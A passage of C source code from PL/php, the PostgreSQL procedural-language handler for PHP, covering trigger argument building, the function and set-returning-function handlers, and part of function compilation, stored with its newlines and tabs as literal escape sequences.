NULL,\n\t\t\t\t\t\t\t\t \"plphp function temp source\" TSRMLS_CC) == FAILURE)\n\t\t\t\telog(ERROR, \"function \\\"%s\\\" does not validate\", funcname);\n\n\t\t\tpfree(tmpsrc);\n\t\t\ttmpsrc = NULL;\n\n\t\t\t/* Delete the newly-created function from the PHP function table. */\n\t\t\tzend_hash_del(CG(function_table), tmpname, strlen(tmpname) + 1);\n\t\t}\n\t\tzend_catch\n\t\t{\n\t\t\tif (tmpsrc != NULL)\n\t\t\t\tpfree(tmpsrc);\n\n\t\t\tif (error_msg)\n\t\t\t{\n\t\t\t\tchar\tstr[1024];\n\n\t\t\t\tStrNCpy(str, error_msg, sizeof(str));\n\t\t\t\tpfree(error_msg);\n\t\t\t\terror_msg = NULL;\n\t\t\t\telog(ERROR, \"function \\\"%s\\\" does not validate: %s\", funcname, str);\n\t\t\t}\n\t\t\telse\n\t\t\t\telog(ERROR, \"fatal error\");\n\n\t\t\t/* not reached, but keep compiler quiet */\n\t\t\treturn 0;\n\t\t}\n\t\tzend_end_try();\n\n\t\t/* The result of a validator is ignored */\n\t\tPG_RETURN_VOID();\n\t}\n\tPG_CATCH();\n\t{\n\t\tPG_RE_THROW();\n\t}\n\tPG_END_TRY();\n}\n\n/*\n * plphp_get_function_tupdesc\n *\n * \t\tReturns a TupleDesc of the function's return type.\n */\nstatic TupleDesc\nplphp_get_function_tupdesc(Oid result_type, Node *rsinfo)\n{\n\tif (result_type == RECORDOID)\n\t{\n\t\tReturnSetInfo *rs = (ReturnSetInfo *) rsinfo;\n\t\t/* We must get the information from call context */\n\t\tif (!rsinfo || !IsA(rsinfo, ReturnSetInfo) || rs->expectedDesc == NULL)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"function returning record called in context \"\n\t\t\t\t\t\t\t\"that cannot accept type record\")));\n\t\treturn rs->expectedDesc;\n\t}\n\telse\n\t\t/* ordinary composite type */\n\t\treturn lookup_rowtype_tupdesc(result_type, -1);\n}\n\n\n/*\n * Build the $_TD array for the trigger function.\n */\nstatic zval *\nplphp_trig_build_args(FunctionCallInfo fcinfo)\n{\n\tTriggerData\t   *tdata;\n\tTupleDesc\t\ttupdesc;\n\tzval\t\t   *retval;\n\tint\t\t\t\ti;\n\n\tMAKE_STD_ZVAL(retval);\n\tarray_init(retval);\n\n\ttdata = (TriggerData *) fcinfo->context;\n\ttupdesc = tdata->tg_relation->rd_att;\n\n\t/* The basic variables */\n\tadd_assoc_string(retval, \"name\", tdata->tg_trigger->tgname, 1);\n    add_assoc_long(retval, \"relid\", tdata->tg_relation->rd_id);\n\tadd_assoc_string(retval, \"relname\", SPI_getrelname(tdata->tg_relation), 1);\n\tadd_assoc_string(retval, \"schemaname\", SPI_getnspname(tdata->tg_relation), 1);\n\n\t/* EVENT */\n\tif (TRIGGER_FIRED_BY_INSERT(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"event\", \"INSERT\", 1);\n\telse if (TRIGGER_FIRED_BY_DELETE(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"event\", \"DELETE\", 1);\n\telse if (TRIGGER_FIRED_BY_UPDATE(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"event\", \"UPDATE\", 1);\n\telse\n\t\telog(ERROR, \"unknown firing event for trigger function\");\n\n\t/* NEW and OLD as appropiate */\n\tif (TRIGGER_FIRED_FOR_ROW(tdata->tg_event))\n\t{\n\t\tif (TRIGGER_FIRED_BY_INSERT(tdata->tg_event))\n\t\t{\n\t\t\tzval\t   *hashref;\n\n\t\t\thashref = plphp_build_tuple_argument(tdata->tg_trigtuple, tupdesc);\n\t\t\tadd_assoc_zval(retval, \"new\", hashref);\n\t\t}\n\t\telse if (TRIGGER_FIRED_BY_DELETE(tdata->tg_event))\n\t\t{\n\t\t\tzval\t   *hashref;\n\n\t\t\thashref = plphp_build_tuple_argument(tdata->tg_trigtuple, tupdesc);\n\t\t\tadd_assoc_zval(retval, \"old\", hashref);\n\t\t}\n\t\telse if (TRIGGER_FIRED_BY_UPDATE(tdata->tg_event))\n\t\t{\n\t\t\tzval\t   *hashref;\n\n\t\t\thashref = plphp_build_tuple_argument(tdata->tg_newtuple, tupdesc);\n\t\t\tadd_assoc_zval(retval, \"new\", hashref);\n\n\t\t\thashref = plphp_build_tuple_argument(tdata->tg_trigtuple, tupdesc);\n\t\t\tadd_assoc_zval(retval, \"old\", hashref);\n\t\t}\n\t\telse\n\t\t\telog(ERROR, \"unknown firing event for trigger function\");\n\t}\n\n\t/* ARGC and ARGS */\n\tadd_assoc_long(retval, \"argc\", tdata->tg_trigger->tgnargs);\n\n\tif (tdata->tg_trigger->tgnargs > 0)\n\t{\n\t\tzval\t   *hashref;\n\n\t\tMAKE_STD_ZVAL(hashref);\n\t\tarray_init(hashref);\n\n\t\tfor (i = 0; i < tdata->tg_trigger->tgnargs; i++)\n\t\t\tadd_index_string(hashref, i, tdata->tg_trigger->tgargs[i], 1);\n\n\t\tzend_hash_update(retval->value.ht, \"args\", strlen(\"args\") + 1,\n\t\t\t\t\t\t (void *) &hashref, sizeof(zval *), NULL);\n\t}\n\n\t/* WHEN */\n\tif (TRIGGER_FIRED_BEFORE(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"when\", \"BEFORE\", 1);\n\telse if (TRIGGER_FIRED_AFTER(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"when\", \"AFTER\", 1);\n\telse\n\t\telog(ERROR, \"unknown firing time for trigger function\");\n\n\t/* LEVEL */\n\tif (TRIGGER_FIRED_FOR_ROW(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"level\", \"ROW\", 1);\n\telse if (TRIGGER_FIRED_FOR_STATEMENT(tdata->tg_event))\n\t\tadd_assoc_string(retval, \"level\", \"STATEMENT\", 1);\n\telse\n\t\telog(ERROR, \"unknown firing level for trigger function\");\n\n\treturn retval;\n}\n\n/*\n * plphp_trigger_handler\n * \t\tHandler for trigger function calls\n */\nstatic Datum\nplphp_trigger_handler(FunctionCallInfo fcinfo, plphp_proc_desc *desc TSRMLS_DC)\n{\n\tDatum\t\tretval = 0;\n\tchar\t   *srv;\n\tzval\t   *phpret,\n\t\t\t   *zTrigData;\n\tTriggerData *trigdata;\n\n\tREPORT_PHP_MEMUSAGE(\"going to build the trigger arg\");\n\n\tzTrigData = plphp_trig_build_args(fcinfo);\n\n\tREPORT_PHP_MEMUSAGE(\"going to call the trigger function\");\n\n\tphpret = plphp_call_php_trig(desc, fcinfo, zTrigData TSRMLS_CC);\n\tif (!phpret)\n\t\telog(ERROR, \"error during execution of function %s\", desc->proname);\n\n\tREPORT_PHP_MEMUSAGE(\"trigger called, going to build the return value\");\n\n\t/*\n\t * Disconnect from SPI manager and then create the return values datum (if\n\t * the input function does a palloc for it this must not be allocated in\n\t * the SPI memory context because SPI_finish would free it).\n\t */\n\tif (SPI_finish() != SPI_OK_FINISH)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_CONNECTION_DOES_NOT_EXIST),\n\t\t\t\t errmsg(\"could not disconnect from SPI manager\")));\n\n\ttrigdata = (TriggerData *) fcinfo->context;\n\n\tif (zTrigData->type != IS_ARRAY)\n\t\telog(ERROR, \"$_TD is not an array\");\n\t\t\t \n\t/*\n\t * In a BEFORE trigger, compute the return value.  In an AFTER trigger\n\t * it'll be ignored, so don't bother.\n\t */\n\tif (TRIGGER_FIRED_BEFORE(trigdata->tg_event))\n\t{\n\t\tswitch (phpret->type)\n\t\t{\n\t\t\tcase IS_STRING:\n\t\t\t\tsrv = phpret->value.str.val;\n\t\t\t\tif (strcasecmp(srv, \"SKIP\") == 0)\n\t\t\t\t{\n\t\t\t\t\t/* do nothing */\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\telse if (strcasecmp(srv, \"MODIFY\") == 0)\n\t\t\t\t{\n\t\t\t\t\tif (TRIGGER_FIRED_BY_INSERT(trigdata->tg_event) ||\n\t\t\t\t\t\tTRIGGER_FIRED_BY_UPDATE(trigdata->tg_event))\n\t\t\t\t\t\tretval = PointerGetDatum(plphp_modify_tuple(zTrigData,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttrigdata));\n\t\t\t\t\telse if (TRIGGER_FIRED_BY_DELETE(trigdata->tg_event))\n\t\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t\t\t\t errmsg(\"on delete trigger can not modify the the return tuple\")));\n\t\t\t\t\telse\n\t\t\t\t\t\telog(ERROR, \"unknown event in trigger function\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t\t\t errmsg(\"expected trigger function to return NULL, 'SKIP' or 'MODIFY'\")));\n\t\t\t\tbreak;\n\t\t\tcase IS_NULL:\n\t\t\t\tif (TRIGGER_FIRED_BY_INSERT(trigdata->tg_event) ||\n\t\t\t\t\tTRIGGER_FIRED_BY_DELETE(trigdata->tg_event))\n\t\t\t\t\tretval = (Datum) trigdata->tg_trigtuple;\n\t\t\t\telse if (TRIGGER_FIRED_BY_UPDATE(trigdata->tg_event))\n\t\t\t\t\tretval = (Datum) trigdata->tg_newtuple;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t\t errmsg(\"expected trigger function to return NULL, 'SKIP' or 'MODIFY'\")));\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tREPORT_PHP_MEMUSAGE(\"freeing some variables\");\n\n\tzval_dtor(zTrigData);\n\tzval_dtor(phpret);\n\n\tFREE_ZVAL(phpret);\n\tFREE_ZVAL(zTrigData);\n\n\tREPORT_PHP_MEMUSAGE(\"trigger call done\");\n\n\treturn retval;\n}\n\n/*\n * plphp_func_handler\n * \t\tHandler for regular function calls\n */\nstatic Datum\nplphp_func_handler(FunctionCallInfo fcinfo, plphp_proc_desc *desc TSRMLS_DC)\n{\n\tzval\t   *phpret = NULL;\n\tDatum\t\tretval;\n\tchar\t   *retvalbuffer = NULL;\n\n\t/* SRFs are handled separately */\n\tAssert(!desc->retset);\n\n\t/* Call the PHP function.  */\n\tphpret = plphp_call_php_func(desc, fcinfo TSRMLS_CC);\n\tif (!phpret)\n\t\telog(ERROR, \"error during execution of function %s\", desc->proname);\n\n\tREPORT_PHP_MEMUSAGE(\"function invoked\");\n\n\t/* Basic datatype checks */\n\tif ((desc->ret_type & PL_ARRAY) && phpret->type != IS_ARRAY)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_DATATYPE_MISMATCH),\n\t\t\t\t errmsg(\"function declared to return array must return an array\")));\n\tif ((desc->ret_type & PL_TUPLE) && phpret->type != IS_ARRAY)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_DATATYPE_MISMATCH),\n\t\t\t\t errmsg(\"function declared to return tuple must return an array\")));\n\n\t/*\n\t * Disconnect from SPI manager and then create the return values datum (if\n\t * the input function does a palloc for it this must not be allocated in\n\t * the SPI memory context because SPI_finish would free it).\n\t */\n\tif (SPI_finish() != SPI_OK_FINISH)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_CONNECTION_DOES_NOT_EXIST),\n\t\t\t\t errmsg(\"could not disconnect from SPI manager\")));\n\tretval = (Datum) 0;\n\n\tif (desc->ret_type & PL_PSEUDO)\n\t{\n\t\tHeapTuple\tretTypeTup;\n\t\tForm_pg_type retTypeStruct;\n\n\t\tretTypeTup = SearchSysCache(TYPEOID,\n\t\t\t\t\t\t\t\t\tObjectIdGetDatum(get_fn_expr_rettype(fcinfo->flinfo)),\n\t\t\t\t\t\t\t\t\t0, 0, 0);\n\t\tretTypeStruct = (Form_pg_type) GETSTRUCT(retTypeTup);\n\t\tperm_fmgr_info(retTypeStruct->typinput, &(desc->result_in_func));\n\t\tdesc->result_typioparam = retTypeStruct->typelem;\n\t\tReleaseSysCache(retTypeTup);\n\t}\n\n\tif (phpret)\n\t{\n\t\tswitch (Z_TYPE_P(phpret))\n\t\t{\n\t\t\tcase IS_NULL:\n\t\t\t\tfcinfo->isnull = true;\n\t\t\t\tbreak;\n\t\t\tcase IS_BOOL:\n\t\t\tcase IS_DOUBLE:\n\t\t\tcase IS_LONG:\n\t\t\tcase IS_STRING:\n\t\t\t\tretvalbuffer = plphp_zval_get_cstring(phpret, false, false);\n\t\t\t\tretval = CStringGetDatum(retvalbuffer);\n\t\t\t\tbreak;\n\t\t\tcase IS_ARRAY:\n\t\t\t\tif (desc->ret_type & PL_ARRAY)\n\t\t\t\t{\n\t\t\t\t\tretvalbuffer = plphp_convert_to_pg_array(phpret);\n\t\t\t\t\tretval = CStringGetDatum(retvalbuffer);\n\t\t\t\t}\n\t\t\t\telse if (desc->ret_type & PL_TUPLE)\n\t\t\t\t{\n\t\t\t\t\tTupleDesc\ttd;\n\t\t\t\t\tHeapTuple\ttup;\n\n\t\t\t\t\tif (desc->ret_type & PL_PSEUDO)\n\t\t\t\t\t\ttd = plphp_get_function_tupdesc(desc->ret_oid,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tfcinfo->resultinfo);\n\t\t\t\t\telse\n\t\t\t\t\t\ttd = lookup_rowtype_tupdesc(desc->ret_oid, (int32) -1);\n\n\t\t\t\t\tif (!td)\n\t\t\t\t\t\telog(ERROR, \"no TupleDesc info available\");\n\n\t\t\t\t\ttup = plphp_htup_from_zval(phpret, td);\n\t\t\t\t\tretval = HeapTupleGetDatum(tup);\n\t\t\t\t\tReleaseTupleDesc(td);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t/* FIXME -- should return the thing as a string? */\n\t\t\t\t\telog(ERROR, \"this plphp function cannot return arrays\");\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\telog(WARNING,\n\t\t\t\t\t \"plphp functions cannot return type %i\",\n\t\t\t\t\t phpret->type);\n\t\t\t\tfcinfo->isnull = true;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\telse\n\t{\n\t\tfcinfo->isnull = true;\n\t\tretval = (Datum) 0;\n\t}\n\n\tif (!fcinfo->isnull && !(desc->ret_type & PL_TUPLE))\n\t{\n\t\tretval = FunctionCall3(&desc->result_in_func,\n\t\t\t\t\t\t\t   PointerGetDatum(retvalbuffer),\n\t\t\t\t\t\t\t   ObjectIdGetDatum(desc->result_typioparam),\n\t\t\t\t\t\t\t   Int32GetDatum(-1));\n\t\tpfree(retvalbuffer);\n\t}\n\n\tREPORT_PHP_MEMUSAGE(\"finished calling user function\");\n\n\treturn retval;\n}\n\n/*\n * plphp_srf_handler\n * \t\tInvoke a SRF\n */\nstatic Datum\nplphp_srf_handler(FunctionCallInfo fcinfo, plphp_proc_desc *desc TSRMLS_DC)\n{\n\tReturnSetInfo *rsi = (ReturnSetInfo *) fcinfo->resultinfo;\n\tTupleDesc\ttupdesc;\n\tzval\t   *phpret;\n\tMemoryContext\toldcxt;\n\n\tAssert(desc->retset);\n\n\tcurrent_fcinfo = fcinfo;\n\tcurrent_tuplestore = NULL;\n\n\t/* Check context before allowing the call to go through */\n\tif (!rsi || !IsA(rsi, ReturnSetInfo) ||\n\t\t(rsi->allowedModes & SFRM_Materialize) == 0 ||\n\t\trsi->expectedDesc == NULL)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"set-valued function called in context that \"\n\t\t\t\t\t\t\"cannot accept a set\")));\n\n\t/*\n\t * Fetch the function's tuple descriptor.  This will return NULL in the\n\t * case of a scalar return type, in which case we will copy the TupleDesc\n\t * from the ReturnSetInfo.\n\t */\n\tget_call_result_type(fcinfo, NULL, &tupdesc);\n\tif (tupdesc == NULL)\n\t\ttupdesc = rsi->expectedDesc;\n\n\t/*\n\t * If the expectedDesc is NULL, bail out, because most likely it's using\n\t * IN/OUT parameters.\n\t */\n\tif (tupdesc == NULL)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"cannot use IN/OUT parameters in PL/php\")));\n\n\toldcxt = MemoryContextSwitchTo(rsi->econtext->ecxt_per_query_memory);\n\n\t/* This context is reset once per row in return_next */\n\tcurrent_memcxt = AllocSetContextCreate(CurTransactionContext,\n\t\t\t\t\t\t\t\t\t\t   \"PL/php SRF context\",\n\t\t\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MINSIZE,\n\t\t\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_INITSIZE,\n\t\t\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MAXSIZE);\n\n\t/* Tuple descriptor and AttInMetadata for return_next */\n\tcurrent_tupledesc = CreateTupleDescCopy(tupdesc);\n\tcurrent_attinmeta = TupleDescGetAttInMetadata(current_tupledesc);\n\n\t/*\n\t * Call the PHP function.  The user code must call return_next, which will\n\t * create and populate the tuplestore appropiately.\n\t */\n\tphpret = plphp_call_php_func(desc, fcinfo TSRMLS_CC);\n\n\t/* We don't use the return value */\n\tzval_dtor(phpret);\n\n\t/* Close the SPI connection */\n\tif (SPI_finish() != SPI_OK_FINISH)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_CONNECTION_DOES_NOT_EXIST),\n\t\t\t\t errmsg(\"could not disconnect from SPI manager\")));\n\n\t/* Now prepare the return values. */\n\trsi->returnMode = SFRM_Materialize;\n\n\tif (current_tuplestore)\n\t{\n\t\trsi->setResult = current_tuplestore;\n\t\trsi->setDesc = current_tupledesc;\n\t}\n\n\tMemoryContextDelete(current_memcxt);\n\tcurrent_memcxt = NULL;\n\tcurrent_tupledesc = NULL;\n\tcurrent_attinmeta = NULL;\n\n\tMemoryContextSwitchTo(oldcxt);\n\n\t/* All done */\n\treturn (Datum) 0;\n}\n\n/*\n * plphp_compile_function\n *\n * \t\tCompile (or hopefully just look up) function\n */\nstatic plphp_proc_desc *\nplphp_compile_function(Oid fnoid, bool is_trigger TSRMLS_DC)\n{\n\tHeapTuple\tprocTup;\n\tForm_pg_proc procStruct;\n\tchar\t\tinternal_proname[64];\n\tplphp_proc_desc *prodesc = NULL;\n\tint\t\t\ti;\n\tchar\t   *pointer = NULL;\n\n\t/*\n\t * We'll need the pg_proc tuple in any case... \n\t */\n\tprocTup = SearchSysCache(PROCOID, ObjectIdGetDatum(fnoid), 0, 0, 0);\n\tif (!HeapTupleIsValid(procTup))\n\t\telog(ERROR, \"cache lookup failed for function %u\", fnoid);\n\tprocStruct = (Form_pg_proc) GETSTRUCT(procTup);\n\n\t/*\n\t * Build our internal procedure name from the function's Oid\n\t */\n\tif (is_trigger)\n\t\tsnprintf(internal_proname, sizeof(internal_proname),\n\t\t\t\t \"plphp_proc_%u_trigger\", fnoid);\n\telse\n\t\tsnprintf(internal_proname, sizeof(internal_proname),\n\t\t\t\t \"plphp_proc_%u\", fnoid);\n\n\t/*\n\t * Look up the internal proc name in the hashtable\n\t */\n\tpointer = plphp_zval_get_cstring(plphp_array_get_elem(plphp_proc_array,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t  internal_proname),\n\t\t\t\t\t\t\t\t\t false, true);\n\tif (pointer)\n\t{\n\t\tbool uptodate;\n\t\tsscanf(pointer, \"%p\", &prodesc);\n\n#ifdef PG_VERSION_83_COMPAT\n\t\t/* PostgreSQL 8.3 doesn't allow calling GetCmin if a tuple doesn't\n\t\t * originate from the current transaction.\n\t\t */\n\t\tuptodate =\n\t\t\t(prodesc->fn_xmin == HeapTupleHeaderGetXmin(procTup->t_data) &&\n\t\t\t prodesc->fn_cmin == HeapTupleHeaderGetRawCommandId(procTup->t_data));\n\n#else\n\t\tuptodate =\n\t\t\t(prodesc->fn_xmin == HeapTupleHeaderGetXmin(procTup->t_data) &&\n\t\t\t prodesc->fn_cmin == HeapTupleHeaderGetCmin(procTup->t_data));\n\n#endif\n\n\n\t\t/* We need to delete the old entry */\n\t\tif (!uptodate)\n\t\t{\n\t\t\t/*\n\t\t\t * FIXME -- use a per-function memory context and fix this\n\t\t\t * stuff for good\n\t\t\t */\n\t\t\tfree(prodesc->proname);\n\t\t\tfree(prodesc);\n\t\t\tprodesc = NULL;\n\t\t}\n\t}\n\n\tif (prodesc == NULL)\n\t{\n\t\tHeapTuple\tlangTup;\n\t\tForm_pg_language langStruct;\n\t\tDatum\t\tprosrcdatum;\n\t\tbool\t\tisnull;\n\t\tchar\t   *proc_source;\n\t\tchar\t   *complete_proc_source;\n\t\tchar\t   *pointer = NULL;\n\t\tchar\t   *aliases = NULL;\n\t\tchar\t   *out_aliases = NULL;\n\t\tchar\t   *out_return_str = NULL;\n\t\tint16\ttyplen;\n\t\tchar\ttypbyval,\n\t\t\t\ttypalign,\n\t\t\t\ttyptype,\n\t\t\t\ttypdelim;\n\t\tOid\t\ttypioparam,\n\t\t\t\ttypinput,\n\t\t\t\ttypoutput;\n\t\t/*\n\t\t * Allocate a new procedure description block\n\t\t */\n\t\tprodesc = (plphp_proc_desc *) malloc(sizeof(plphp_proc_desc));\n\t\tif (!prodesc)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_OUT_OF_MEMORY),\n\t\t\t\t\t errmsg(\"out of memory\")));\n\n\t\tMemSet(prodesc, 0, sizeof(plphp_proc_desc));\n\t\tprodesc->proname = strdup(internal_proname);\n\t\tif (!prodesc->proname)\n\t\t{\n\t\t\tfree(prodesc);\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_OUT_OF_MEMORY),\n\t\t\t\t\t errmsg(\"out of memory\")));\n\t\t}\n\n\t\tprodesc->fn_xmin = HeapTupleHeaderGetXmin(procTup->t_data);\n\n#ifdef PG_VERSION_83_COMPAT\n\t\t/* PostgreSQL 8.3 doesn't allow calling GetCmin if a tuple doesn't\n\t\t * originate from the current transaction.\n\t\t */\n\t\tprodesc->fn_cmin = HeapTupleHeaderGetRawCommandId(procTup->t_data);\n\n#else\n\t\tprodesc->fn_cmin = HeapTupleHeaderGetCmin(procTup->t_data);\n\n#endif\n\n\t\t/*\n\t\t * Look up the pg_language tuple by Oid\n\t\t */\n\t\tlangTup = SearchSysCache(LANGOID,\n\t\t\t\t\t\t\t\t ObjectIdGetDatum(procStruct->prolang),\n\t\t\t\t\t\t\t\t 0, 0, 0);\n\t\tif (!HeapTupleIsValid(langTup))\n\t\t{\n\t\t\tfree(prodesc->proname);\n\t\t\tfree(prodesc);\n\t\t\telog(ERROR, \"cache lookup failed for language %u\",\n\t\t\t\t\t   procStruct->prolang);\n\t\t}\n\t\tlangStruct = (Form_pg_language) GETSTRUCT(langTup);\n\t\tprodesc->trusted = langStruct->lanpltrusted;\n\t\tReleaseSysCache(langTup);\n\n\t\t/*\n\t\t * Get the required information for input conversion of the return\n\t\t * value, and output conversion of the procedure's arguments.\n\t\t */\n\t\tif (!is_trigger)\n\t\t{\n\t\t\tchar  **argnames;\n\t\t\tchar   *argmodes;\n\t\t\tOid    *argtypes;\n\t\t\tint32\talias_str_end,\n\t\t\t\t\tout_str_end;\n\n\t\t\ttyptype = get_typtype(procStruct->prorettype);\n\t\t\tget_type_io_data(procStruct->prorettype,\n\t\t\t\t\t\t\t IOFunc_input,\n\t\t\t\t\t\t\t &typlen,\n\t\t\t\t\t\t\t &typbyval,\n\t\t\t\t\t\t\t &typalign,\n\t\t\t\t\t\t\t &typdelim,\n\t\t\t\t\t\t\t &typioparam,\n\t\t\t\t\t\t\t &typinput);\n\n\t\t\t/*\n\t\t\t * Disallow pseudotype result, except:\n\t\t\t * VOID, RECORD, ANYELEMENT or ANYARRAY\n\t\t\t */\n\t\t\tif (typtype == TYPTYPE_PSEUDO)\n\t\t\t{\n\t\t\t\tif ((procStruct->prorettype == VOIDOID) ||\n\t\t\t\t\t(procStruct->prorettype == RECORDOID) ||\n\t\t\t\t\t(procStruct->prorettype == ANYELEMENTOID) ||\n\t\t\t\t\t(procStruct->prorettype == ANYARRAYOID))\n\t\t\t\t{\n\t\t\t\t\t/* okay */\n\t\t\t\t\tprodesc->ret_type |= PL_PSEUDO;\n\t\t\t\t}\n\t\t\t\telse if (procStruct->prorettype == TRIGGEROID)\n\t\t\t\t{\n\t\t\t\t\tfree(prodesc->proname);\n\t\t\t\t\tfree(prodesc);\n\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t\t errmsg(\"trigger functions may only be called \"\n\t\t\t\t\t\t\t\t\t\"as triggers\")));\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tfree(prodesc->proname);\n\t\t\t\t\tfree(prodesc);\n\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t\t errmsg(\"plphp functions cannot return type %s\",\n\t\t\t\t\t\t\t\t\tformat_type_be(procStruct->prorettype))));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tprodesc->ret_oid = procStruct->prorettype;\n\t\t\tprodesc->retset = procStruct->proretset;\n\n\t\t\tif (typtype == TYPTYPE_COMPOSITE ||\n\t\t\t\tprocStruct->prorettype == RECORDOID)\n\t\t\t{\n\t\t\t\tprodesc->ret_type |= PL_TUPLE;\n\t\t\t}\n\n\t\t\tif (procStruct->prorettype == ANYARRAYOID)\n\t\t\t\tprodesc->ret_type |= PL_ARRAY;\n\t\t\telse\n\t\t\t{\n\t\t\t\t/* function returns a normal (declared) array */\n\t\t\t\tif (typlen == -1 && get_element_type(procStruct->prorettype))\n\t\t\t\t\tprodesc->ret_type |= PL_ARRAY;\n\t\t\t}\n\n\t\t\tperm_fmgr_info(typinput, &(prodesc->result_in_func));\n\t\t\tprodesc->result_typioparam = typioparam;\n\n\t\t\t/* Deal with named arguments, OUT, IN/OUT and TABLE arguments */\n\n\t\t\tprodesc->n_total_args = get_func_arg_info(procTup, &argtypes, \n\t\t\t\t\t\t\t\t\t\t\t  \t\t  &argnames, &argmodes);\n\t\t\tprodesc->n_out_args = 0;\n\t\t\tprodesc->n_mixed_args = 0;\n\t\t\t\n\t\t\tprodesc->args_out_tupdesc = NULL;\n\t\t\tout_return_str = NULL;\n\t\t\talias_str_end = out_str_end = 0;\n\n\t\t\t/* Count the number of OUT arguments. Need to do this out of the\n\t\t\t * main loop, to correctly determine the object to return for OUT args\n\t\t     */\n\t\t\tif (argmodes)\n\t\t\t\tfor (i = 0; i < prodesc->n_total_args; i++)\n\t\t\t\t{\n\t\t\t\t\tswitch(argmodes[i])\n\t\t\t\t\t{\n\t\t\t\t\t\tcase PROARGMODE_OUT: \n\t\t\t\t\t\t\tprodesc->n_out_args++;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase PROARGMODE_INOUT: \n\t\t\t\t\t\t\tprodesc->n_mixed_args++;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase PROARGMODE_IN:\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase PROARGMODE_TABLE:\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase PROARGMODE_VARIADIC:\n\t\t\t\t\t\t\telog(ERROR, \"VARIADIC arguments are not supported\");\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\telog(ERROR, \"Unsupported type %c for argument no %d\",\n\t\t\t\t\t\t\t\t argmodes[i], i);\n\t\t\t\t\t}\t\t\t\t\t\n\t\t\t\t\tprodesc->arg_argmode[i] = argmodes[i];\n\t\t\t\t}\n\t\t\telse\n\t\t\t\tMemSet(prodesc->arg_argmode, PROARGMODE_IN,\n\t\t\t\t \t   prodesc->n_total_args);\n\n\t\t\t/* Allocate memory for argument names unless all of them are OUT*/\n\t\t\tif (argnames && prodesc->n_total_args > 0)\n\t\t\t\taliases = palloc((NAMEDATALEN + 32) * prodesc->n_total_args);\n\t\t\t\n\t\t\t/* Main argument processing loop. */\n\t\t\tfor (i = 0; i < prodesc->n_total_args; i++)\n\t\t\t{\n\t\t\t\tprodesc->arg_typtype[i] = get_typtype(argtypes[i]);\n\t\t\t\tif (prodesc->arg_typtype[i] != TYPTYPE_COMPOSITE)\n\t\t\t\t{\t\t\t\t\t\t\t\n\t\t\t\t\tget_type_io_data(argtypes[i],\n\t\t\t\t\t\t\t\t\t IOFunc_output,\n\t\t\t\t\t\t\t\t\t &typlen,\n\t\t\t\t\t\t\t\t\t &typbyval,\n\t\t\t\t\t\t\t\t\t &typalign,\n\t\t\t\t\t\t\t\t\t &typdelim,\n\t\t\t\t\t\t\t\t\t &typioparam,\n\t\t\t\t\t\t\t\t\t &typoutput);\n\t\t\t\t\tperm_fmgr_info(typoutput, &(prodesc->arg_out_func[i]));\n\t\t\t\t\tprodesc->arg_typioparam[i] = typioparam;\n\t\t\t\t}\n\t\t\t\tif (aliases && argnames[i][0] != '\\0')\n\t\t\t\t{\n\t\t\t\t\tif (!is_valid_php_identifier(argnames[i]))\n\t\t\t\t\t\telog(ERROR, \"\\\"%s\\\" can not be used as a PHP variable name\",\n\t\t\t\t\t\t\t argnames[i]);\n\t\t\t\t\t/* Deal with argument name */\n\t\t\t\t\talias_str_end += snprintf(aliases + alias_str_end,\n\t\t\t\t\t\t\t\t\t\t \t  NAMEDATALEN + 32,\n\t\t\t\t\t\t\t\t   \t\t \t  \" $%s = &$args[%d];\", \n\t\t\t\t\t\t\t\t\t\t\t  